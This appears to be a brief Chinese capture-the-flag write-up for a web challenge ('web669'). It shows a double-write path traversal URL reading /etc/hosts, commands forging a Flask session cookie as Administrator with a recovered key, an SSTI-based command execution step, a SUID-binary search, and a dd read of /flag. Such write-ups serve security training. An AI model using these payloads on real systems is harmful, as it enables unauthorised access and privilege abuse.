2022年8月

web669

  1. 源码分析,该路由可以读文件,双写绕过,获得hosts

    http://eci-2ze4ancva5i0u7z30bd6.cloudeci1.ichunqiu.com:8888/....//....//....//....//....//....//....//....///etc/hosts

  2. 得到key,该key用在加密上。

  3. 利用脚本解析jwt,并且将user改为Administrator,即可绕过权限检测。

    ➜  flask-session-cookie-manager-master python3 flask_session_cookie_manager3.py decode -s "engine-1" -c "eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.YwiJAQ.f9ZMqkSoEF5HLqEMXGgo7FXPkSw"
    {'updir': 'static/uploads/4b3cf1ffc9224f4d830c5a29db854d15', 'user': 'Guest'}
    ➜  flask-session-cookie-manager-master python3 flask_session_cookie_manager3.py encode -s "engine-1" -t "{'updir': '.', 'user': 'Administrator'}"
    eyJ1cGRpciI6Ii4iLCJ1c2VyIjoiQWRtaW5pc3RyYXRvciJ9.YwiJvw.x5iG_1HwbmQOOp7wB2Dw0WzhASY
    
  4. 利用updir进行文件覆盖,实现SSTI。


  5. 即可传递a参数,实现命令执行

  6. 找到flag

  7. 查看flag,发现没回显,权限不够

  8. 查找可以执行的命令
    ?a=find / -user root -perm -4000 -print 2>/dev/null

  9. 利用dd获取flag
    ?a=/usr/bin/dd%20if=/flag